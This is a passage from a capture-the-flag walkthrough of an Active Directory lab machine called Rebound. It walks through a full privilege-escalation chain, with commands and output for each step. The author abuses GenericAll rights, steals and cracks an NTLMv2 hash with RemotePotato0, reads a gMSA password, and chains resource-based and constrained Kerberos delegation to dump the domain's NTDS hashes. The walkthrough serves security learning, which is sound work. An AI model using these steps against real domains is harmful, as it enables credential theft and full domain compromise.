Great, it worked! Now, since we belong to ServiceMgmt
, we can exploit the path displayed on Bloodhound.
Recalling what we've seen, as a member of ServiceMgmt
, we have GenericAll access over the SERVICE USERS
OU, and since it "Contains" the winrm_svc
user, we could change the password of winrm_svc
.
One step at a time, we will first grant GenericAll privilege to oorend
in order to subsequently operate over the SERVICE USERS
OU.
elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 add genericAll 'OU=SERVICE USERS,DC=REBOUND,DC=HTB' oorend
[+] oorend has now GenericAll on OU=SERVICE USERS,DC=REBOUND,DC=HTB
Now, leveraging our privileges over the SERVICE USERS
OU, I'll assign GenericAll privileges to oorend
over winrm_svc
to subsequently modify its password.
elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 add genericAll winrm_svc oorend
[+] oorend has now GenericAll on winrm_svc
Finally, we can change the password of winrm_svc
:
elswix@ubuntu$ bloodyAD -d rebound.htb -u 'oorend' -p '1GR8t@$$4u' --host 10.10.11.231 set password 'winrm_svc' 'Password123!'
[+] Password changed successfully!
If everything worked correctly, the password of winrm_svc
should be Password123!
.
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'winrm_svc' -p 'Password123!'
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [+] rebound.htb\winrm_svc:Password123!
Great! As winrm_svc
, we could gain access to the system via WinRM
.
elswix@ubuntu$ evil-winrm -i 10.10.11.231 -u 'winrm_svc' -p 'Password123!'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_svc\Documents>
Finally, we gained access to the system as winrm_svc
.
We can read user.txt
:
*Evil-WinRM* PS C:\Users\winrm_svc\desktop> type user.txt
c3f52**************1883e3b632648
*Evil-WinRM* PS C:\Users\winrm_svc\desktop>
Upon accessing the system, I opted to relaunch SharpHound
, this time running it locally. However, it failed to retrieve any additional relevant information.
After conducting system enumeration using PowerView, I discovered that the computer account delegator$
possesses constrained delegation privileges over the http/dc01.rebound.htb
SPN:
*Evil-WinRM* PS C:\temp> Get-DomainComputer -TrustedToAuth
pwdlastset : 3/28/2024 6:27:42 PM
logoncount : 14
badpasswordtime : 3/29/2024 11:25:23 AM
msds-managedpasswordpreviousid : {1, 0, 0, 0...}
distinguishedname : CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
objectclass : {top, person, organizationalPerson, user...}
lastlogontimestamp : 4/8/2023 11:12:56 AM
name : delegator
objectsid : S-1-5-21-4078382237-1492182817-2568127209-7687
msds-groupmsamembership : {1, 0, 4, 128...}
oocalpolicyflags : 0
codepage : 0
samaccounttype : MACHINE_ACCOUNT
accountexpires : NEVER
countrycode : 0
whenchanged : 3/29/2024 1:27:42 AM
instancetype : 4
usncreated : 69353
objectguid : c9da97ae-5e35-44d2-aa15-114aecdc0caf
msds-managedpasswordid : {1, 0, 0, 0...}
msds-allowedtodelegateto : http/dc01.rebound.htb
samaccountname : delegator$
objectcategory : CN=ms-DS-Group-Managed-Service-Account,CN=Schema,CN=Configuration,DC=rebound,DC=htb
dscorepropagationdata : 1/1/1601 12:00:00 AM
serviceprincipalname : browser/dc01.rebound.htb
msds-managedpasswordinterval : 30
lastlogon : 4/9/2023 3:25:20 AM
badpwdcount : 1
cn : delegator
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
whencreated : 4/8/2023 9:08:31 AM
primarygroupid : 515
iscriticalsystemobject : False
msds-supportedencryptiontypes : 28
usnchanged : 172255
lastlogoff : 12/31/1600 4:00:00 PM
dnshostname : gmsa.rebound.htb
*Evil-WinRM* PS C:\temp>
You can also enumerate it using Get-NetComputer
:
*Evil-WinRM* PS C:\temp> Get-NetComputer * | select name, msds-allowedtodelegateto, useraccountcontrol | fl
name : DC01
msds-allowedtodelegateto :
useraccountcontrol : SERVER_TRUST_ACCOUNT, TRUSTED_FOR_DELEGATION
name : delegator
msds-allowedtodelegateto : http/dc01.rebound.htb
useraccountcontrol : WORKSTATION_TRUST_ACCOUNT
*Evil-WinRM* PS C:\temp>
Well, let's explain what this privilege entails:
If you have compromised a user account or a computer (machine account) that has kerberos constrained delegation enabled, it's possible to impersonate any domain user (including administrator) and authenticate to a service that the user account is trusted to delegate to.
I took this information from this article.
In other words, Constrained delegation allows a service to impersonate a user and access another service on behalf of that user. It's often used for seamless authentication across multiple services. When configured, a service can request a Kerberos ticket for a user and use it to access other services on the user's behalf, within the specified constraints.
The msDS-AllowedToDelegateTo
specifies which services a particular service can delegate to. This attribute is set on the user or computer object that represents the service requesting delegation.
This implies that leveraging delegator$
, we could potentially exploit constrained delegation over the http/dc01.rebound.htb
service, which could serve as a privilege escalation vector. However, since we lack valid credentials for delegator$
, we need to find a method to gain access as that user.
After searching for paths to get to the delegator$
user, I found this:
This is pretty interesting. TBrady can read the GMSA Password of gmsa.rebound.htb
(delegator$
). This means that, as TBrady, we can obtain valid credentials for delegator$
. However, firstly, we need to find a way to gain access or obtain valid credentials for tbrady
.
Bloodhound didn't report any potential vectors to achieve access as TBrady, aside from administrative privileges.
Upon enumerating the running processes on the victim machine, something caught my attention:
*Evil-WinRM* PS C:\temp> get-process
Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
------- ------ ----- ----- ------ -- -- -----------
384 32 11976 20796 2604 0 certsrv
115 5 2352 4196 0.02 5852 0 cmd
153 9 6664 12648 0.02 5340 0 conhost
482 19 2360 5604 388 0 csrss
268 16 2200 5260 508 1 csrss
361 15 3436 14892 5520 1 ctfmon
382 30 7720 12088 2744 0 dns
581 24 24468 50576 320 1 dwm
1405 55 21736 83552 5784 1 explorer ...[snip]...
*Evil-WinRM* PS C:\temp>
As you can see, there are processes with Session ID 1, which indicates that someone has an active session on the box. This is unusual on a HTB machine. However, the issue arises when inspecting the active sessions
, as it doesn't display anything.
*Evil-WinRM* PS C:\temp> query user *
query user *
No User exists for *
*Evil-WinRM* PS C:\temp> qwinsta *
No session exists for *
That's strange; I'm not entirely sure why it's not displaying anything. It could be because we're executing them remotely. Anyway, when I executed it with RunasCs, it worked fine:
*Evil-WinRM* PS C:\temp> .\runascs.exe winrm_svc 'Password123!' 'cmd /c query user' -l 9
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
tbrady console 1 Active none 3/30/2024 2:03 PM
*Evil-WinRM* PS C:\temp>
This suggests that the reason it wasn't working previously could indeed be due to executing them remotely. Since RunasCs
creates a local process, it may have resolved the issue this time.
This is intriguing; TBrady is currently logged on to the box.
Remote Potato - Concept
RemotePotato is a exploit that enables us to exploit active sessions on the system. As per the official repository:
It abuses the DCOM activation service and trigger an NTLM authentication of any user currently logged on in the target machine. RemotePotato0 also allows to grab and steal NTLMv2 hashes of every users logged on a machine
To relay an NTLM authentication for command execution, the user needs to possess administrator or local administrator privileges on the system, which TBrady lacks. However, this method still enables us to steal NTLMv2 hashes, which can subsequently be cracked to recover the user password.
RemotePotato - Exploitation
Firstly, I uploaded the compiled version onto the victim machine:
*Evil-WinRM* PS C:\temp> .\RemotePotato0.exe -h
RemotePotato0
@splinter_code & @decoder_it
Mandatory args:
-m module
Allowed values:
0 - Rpc2Http cross protocol relay server + potato trigger (default)
1 - Rpc2Http cross protocol relay server
2 - Rpc capture (hash) server + potato trigger
3 - Rpc capture (hash) server
Other args: (someone could be mandatory and/or optional based on the module you use)
-r Remote HTTP relay server ip
-t Remote HTTP relay server port (Default 80)
-x Rogue Oxid Resolver ip (default 127.0.0.1)
-p Rogue Oxid Resolver port (default 9999)
-l RPC Relay server listening port (Default 9997)
-s Session id for the Cross Session Activation attack (default disabled)
-c CLSID (Default {5167B42F-C111-47A1-ACC4-8EABE61B0B54})
*Evil-WinRM* PS C:\temp>
To execute it, I'll utilize the specified parameters:
-m 2: indicating method 2, which involves "Rpc capture (hash) server + potato trigger" -x 10.10.16.5: setting the rogue Oxid resolver IP to my own
In order to perform OXID resolution, we need to redirect traffic back to RemotePotato for the RPC calls:
elswix@ubuntu$ socat -v TCP-LISTEN:135,fork,reuseaddr TCP:10.10.11.231:9999
Finally, let's execute RemotePotato
:
*Evil-WinRM* PS C:\temp> .\RemotePotato0.exe -m 2 -x 10.10.16.5
[*] Detected a Windows Server version not compatible with JuicyPotato. RogueOxidResolver must be run remotely. Remember to forward
tcp port 135 on 10.10.16.5 to your victim machine on port 9999
[*] Example Network redirector:
sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:{{ThisMachineIp}}:9999
[*] Starting the RPC server to capture the credentials hash from the user authentication!!
[*] Calling CoGetInstanceFromIStorage with CLSID:{5167B42F-C111-47A1-ACC4-8EABE61B0B54}
[*] RPC relay server listening on port 9997 ...
[*] Starting RogueOxidResolver RPC Server listening on port 9999 ...
[*] IStoragetrigger written: 102 bytes
[*] ServerAlive2 RPC Call
[*] ResolveOxid2 RPC call
[+] Received the relayed authentication on the RPC relay server on port 9997
[*] Connected to RPC Server 127.0.0.1 on port 9999
[+] User hash stolen!
NTLMv2 Client : DC01
NTLMv2 Username : rebound\tbrady
NTLMv2 Hash : tbrady::rebound:4a10cad65178c009:a45c29b4dd1b9a748c7f0d847bb892a1:0101000000000000bf1b40ecd682da016a727184289d97
ba0000000002000e007200650062006f0075006e006400010008004400430030003100040016007200650062006f0075006e0064002e0068007400620003002000
64006300300031002e007200650062006f0075006e0064002e00680074006200050016007200650062006f0075006e0064002e0068007400620007000800bf1b40
ecd682da01060004000600000008003000300000000000000001000000002000007d3e4973ba9fec2f29ba64a9e0aacdb12dc773ec0849f29b8386770e75f90f50
0a00100000000000000000000000000000000000090000000000000000000000
*Evil-WinRM* PS C:\temp>
Great! As you can see, we've successfully stolen the NTLMv2 hash of tbrady
.
Now, let's attempt to crack it and retrieve the user password in plain text.
elswix@ubuntu$ john -w:/opt/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
543BOMBOMBUNmanda (tbrady)
1g 0:00:00:07 DONE (2024-03-30 09:33) 0.1295g/s 1578Kp/s 1578Kc/s 1578KC/s 5449944..543584
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
elswix@ubuntu$
It has been successfully cracked, and we obtained the user password in plain text. Let's verify that it works using crackmapexec
:
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'tbrady' -p '543BOMBOMBUNmanda'
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [+] rebound.htb\tbrady:543BOMBOMBUNmanda
Recalling what we've seen on the BloodHound report, as tbrady
, we can read the GMSA password of delegator$
. To achieve this, we can use gMSADumper. Additionally, BloodyAD can also retrieve the GMSA password.
elswix@ubuntu$ bloodyAD -d rebound.htb -u 'tbrady' -p '543BOMBOMBUNmanda' --host 10.10.11.231 get object 'delegator$' --attr 'msDS-ManagedPassword'
distinguishedName: CN=delegator,CN=Managed Service Accounts,DC=rebound,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:e1630b0e18242439a50e9d8b5f5b7524
msDS-ManagedPassword.B64ENCODED: 5bJ7n8t25Xmw187W3VrZocgFCr8VnedxIVdiml6khM2WAeex8N5QleqK4/TcRNUDQ8flaPX1lbwNF+GRtnHQMEM9WLY22DgoU/ZDOfYlHp/iSFjCEtRtRobUf+Mr1bbAiAY9+5Xb6nco/v8kWT4LE9hDH3bkfSe4TOJEVpHURKg5vJqEfL8hTviel0YNdJBF0VsMWJ1pWtSjwuW2bvncgqaMhol6i9Qpn0ADf7srMqMR5XXdVHxCcAyr08Q89fhlyTKOb4YfhnQvHGROtsUp0ySKNHLTv4bYDy6u2J/YBefaK6LraH+RwP/yRodXQTvD3wzDAmjx/QqRfEy7j1hL9A==
elswix@ubuntu$
I'll retain the NTLM hash and verify its validity using crackmapexec
:
elswix@ubuntu$ crackmapexec smb 10.10.11.231 -u 'delegator$' -H 'e1630b0e18242439a50e9d8b5f5b7524'
SMB 10.10.11.231 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:rebound.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.231 445 DC01 [+] rebound.htb\delegator$:e1630b0e18242439a50e9d8b5f5b7524
It works, and now we have access as delegator$
.
Constrained Delegation (CD)
As explained above, constrained delegation allows a service to impersonate a user to access another service on behalf of that user. Unlike unconstrained delegation, where a service can impersonate any user to access any service, constrained delegation restricts the services that can be accessed and limits the delegation to specific services.
As delegator$
, we possess constrained delegation privileges over http/dc01.rebound.htb
. Since we lack direct access to delegator$
, exploiting this becomes more challenging. However, we can achieve this remotely.
Resource Based Constrained Delegation
To exploit this, I'll execute Resource-Based Constrained Delegation (RBCD) to delegate delegator$
from a domain user like ldap_monitor
. Essentially, we'll configure RBCD to subsequently exploit CD.
Resource-Based Constrained Delegation (RBCD) enables services to impersonate users and access other services on behalf of those users. Unlike traditional Constrained Delegation (CD), which relies on delegating based on the client service (initiator), RBCD delegates permissions based on the target service (resource). This allows for more precise control over delegation, as administrators can specify exactly which services a service account is allowed to impersonate.
The msDS-AllowedToActOnBehalfOfOtherIdentity
attribute is used to define which accounts are allowed to act on behalf of other identities for the purpose of Kerberos constrained delegation. When an account has this attribute set, it can be used to obtain service tickets (ST) on behalf of other accounts, effectively allowing it to impersonate those accounts for specific services.
To implement Resource-Based Constrained Delegation (RBCD), we can utilize the rbcd.py
script from the impacket suite. This script primarily sets the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute on the target specified in the -delegate-to
parameter.
Note
This works because Computer Accounts (in our case delegator$
) can write their own msDS-AllowedToActOnBehalfOfOtherIdentity
attribute. Otherwise, it wouldn't work.
Initially, when running rbcd.py
, it encountered an error:
elswix@ubuntu$ rbcd.py -delegate-to 'delegator$' -delegate-from 'oorend' -action write -use-ldaps -dc-ip dc01.rebound.htb rebound.htb/delegator$ -hashes :e1630b0e18242439a50e9d8b5f5b7524
Impacket v0.11.0 - Copyright 2023 Fortra
[-] automatic bind not successful - invalidCredentials
I don't know why it occurred, as we have valid credentials. Therefore, I decided to utilize Kerberos Authentication.
elswix@ubuntu$ getTGT.py 'rebound.htb/delegator$@10.10.11.231' -hashes :e1630b0e18242439a50e9d8b5f5b7524
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Saving ticket in delegator$@10.10.11.231.ccache
I'll export this ccache
file to the KRB5CCNAME
environment variable.
elswix@ubuntu$ export KRB5CCNAME='delegator$@10.10.11.231.ccache'
Then it threw this error:
elswix@ubuntu$ rbcd.py -delegate-to 'delegator$' -delegate-from 'oorend' -action write -no-pass -k -dc-ip 10.10.11.231 rebound.htb/delegator$ -use-ldaps
Impacket v0.11.0 - Copyright 2023 Fortra
[-] invalid server address
I repeated this process using older versions of Impacket, and it continued to throw the same error. Deciding to debug the rbcd.py
program, I noticed that the issue originated from the init_ldap_connection
function. Therefore, I created a virtual Python environment and made slight modifications to the function:
def init_ldap_connection(target, tls_version, args, domain, username, password, lmhash, nthash):
user = '%s\\%s' % (domain, username)
connect = args.dc_ip
...[snip]...
ldap_server = ldap3.Server(connect, get_info=ldap3.ALL, port=port, use_ssl=use_ssl, tls=tls
...[snip]...
Now, the server address will be the value we supply to the -dc-ip
parameter.
Finally, it worked, and we successfully modified the msDS-AllowedToActOnBehalfOfOtherIdentity
attribute of delegator
.
elswix@ubuntu$ rbcd.py -delegate-to 'delegator$' -delegate-from 'ldap_monitor' -action write -no-pass -k -dc-ip 10.10.11.231 rebound.htb/delegator$ -use-ldaps -debug
Impacket v0.11.0 - Copyright 2023 Fortra
[+] Impacket Library Installation Path: /home/elswix/Desktop/elswix/HTB/Rebound/content/krb/venv/lib/python3.10/site-packages/impacket
[+] Using Kerberos Cache: delegator$@10.10.11.231.ccache
[+] SPN LDAP/DC01@REBOUND.HTB not found in cache
[+] AnySPN is True, looking for another suitable SPN
[+] Returning cached credential for KRBTGT/REBOUND.HTB@REBOUND.HTB
[+] Using TGT from cache
[+] Trying to connect to KDC at 10.10.11.231:88
[+] Initializing domainDumper()
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity is empty
[*] Delegation rights modified successfully!
[*] oorend can now impersonate users on delegator$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] ldap_monitor (S-1-5-21-4078382237-1492182817-2568127209-7681)
elswix@ubuntu$
Now, as ldap_monitor
, we can act on behalf of any user over delegator$
. Before requesting an ST on behalf of another user, we need to request a new TGT
for oorend
, due to the privilege modifications we made. Therefore, I'll use getTGT.py
to request a new TGT.
elswix@ubuntu$ getTGT.py 'rebound.htb/ldap_monitor':'1GR8t@$$4u' -dc-ip dc01.rebound.htb
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Saving ticket in ldap_monitor.ccache
Don't forget to export the KRB5CCNAME
variable:
elswix@ubuntu$ export KRB5CCNAME=oorend.ccache
Now, I'll request a Service Ticket (ST) on behalf of dc01$
, specifying the SPN of delegator$
:
elswix@ubuntu$ getST.py -spn 'browser/dc01.rebound.htb' -impersonate "dc01$" -dc-ip 10.10.11.231 'rebound.htb/ldap_monitor' -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Impersonating dc01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$.ccache
elswix@ubuntu$
Once we obtain the ST, we have to export it to the KRB5CCNAME
variable:
elswix@ubuntu$ export KRB5CCNAME=dc01\$.ccache
Up to now, we have configured RBCD to act on behalf of the user ldap_monitor
for delegator$
. With this privilege, we can impersonate any user on delegator$
, allowing us to perform privileged tasks with it. Subsequently, we have requested an ST on behalf of dc01$
for delegator$
. Leveraging our ST and the fact that delegator$
has constrained delegation privileges, we can request a new ST impersonating the dc01$
user, but this time for the http/dc01.rebound.htb
service (which is the DC).
One thing to highlight is that we're using the dc01$
account instead of administrator
because the latter cannot be delegated. You can verify this within the system or by using BloodyAD
.
elswix@ubuntu$ bloodyAD -d rebound.htb -u 'tbrady' -p '543BOMBOMBUNmanda' --host 10.10.11.231 get object 'administrator' --attr 'useraccountcontrol'
distinguishedName: CN=Administrator,CN=Users,DC=rebound,DC=htb
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD; NOT_DELEGATED
As you can see, it has the NOT_DELEGATED
attribute, which essentially means it cannot be delegated.
To proceed, we need to specify the credentials of delegator
and our Service Ticket. We can accomplish this by using the -additional-ticket
parameter and then providing the credentials of delegator$
.
elswix@ubuntu$ getST.py -spn 'http/dc01.rebound.htb' -impersonate "dc01$" -additional-ticket "dc01$.ccache" "rebound.htb/delegator$" -hashes :e1630b0e18242439a50e9d8b5f5b7524 -k -no-pass
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for user
[*] Impersonating dc01$
[*] Using additional ticket dc01$.ccache instead of S4U2Self
[*] Requesting S4U2Proxy
[*] Saving ticket in dc01$.ccache
elswix@ubuntu$
Now, let's export our new ST to the KRB5CCNAME
variable:
elswix@ubuntu$ export KRB5CCNAME=dc01\$.ccache
Finally, using our new ST
impersonating dc01$
, we can perform privileged actions. Let's dump the NTDS using secretsdump.py
:
elswix@ubuntu$ secretsdump.py dc01.rebound.htb -k
Impacket v0.11.0 - Copyright 2023 Fortra
[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:176be138594933bb67db3b2572fc91b8:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1108b27a9ff61ed4139d1443fbcf664b:::
ppaul:1951:aad3b435b51404eeaad3b435b51404ee:7785a4172e31e908159b0904e1153ec0:::
llune:2952:aad3b435b51404eeaad3b435b51404ee:e283977e2cbffafc0d6a6bd2a50ea680:::
...[snip]...
[*] Cleaning up...
elswix@ubuntu$
I'll retain the administrator
NTLM hash and gain access to the system via WinRM
:
elswix@ubuntu$ evil-winrm -i 10.10.11.231 -u administrator -H '176be138594933bb67db3b2572fc91b8'
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Of course, it worked, and finally, we can read root.txt
:
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..\desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> cat root.txt
76334*****************55b6b0923b
*Evil-WinRM* PS C:\Users\Administrator\desktop>